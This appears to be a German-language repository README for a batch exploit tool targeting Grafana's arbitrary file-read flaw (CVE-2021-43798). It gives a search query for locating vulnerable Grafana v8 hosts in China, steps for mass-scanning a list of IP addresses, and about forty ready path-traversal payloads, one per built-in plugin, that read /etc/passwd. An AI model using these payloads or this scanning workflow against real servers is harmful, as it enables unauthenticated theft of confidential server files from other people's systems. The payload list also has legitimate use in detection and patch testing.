fanygit/grafana-cve-2021-43798expMulti-threaded Batch-Exploit-Skript für die Schwachstelle zum beliebigen Dateilesen in Grafana (CVE-2021-43798). Automatisiert Path-Traversal-Payloads, um vertrauliche Serverdateien von angreifbaren Grafana-Instanzen zu extrahieren.
Grafana ist eine Open-Source-Suite für Metriken, Analyse und Visualisierung. Sie wird häufig für die Visualisierung von Zeitreihendaten und Anwendungsanalysen in der Infrastruktur verwendet, findet aber auch breite Anwendung in anderen Bereichen wie Industriesensoren, Hausautomation, Wetter- und Prozesssteuerung. In Version 8.* existiert eine Schwachstelle für beliebiges Dateilesen, bei der es sich derzeit um eine 0-Day-Schwachstelle handelt. Nicht authentifizierte Angreifer können diese Schwachstelle ausnutzen, um vertrauliche Dateien des Servers zu erhalten.
app="Grafana" && country="CN" && body="v8."
1. Legen Sie die zu prüfenden IP-Adressen in die Datei ip.txt.
2. Führen Sie python3 Grafana-CVE-2021-43798Exp aus.
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
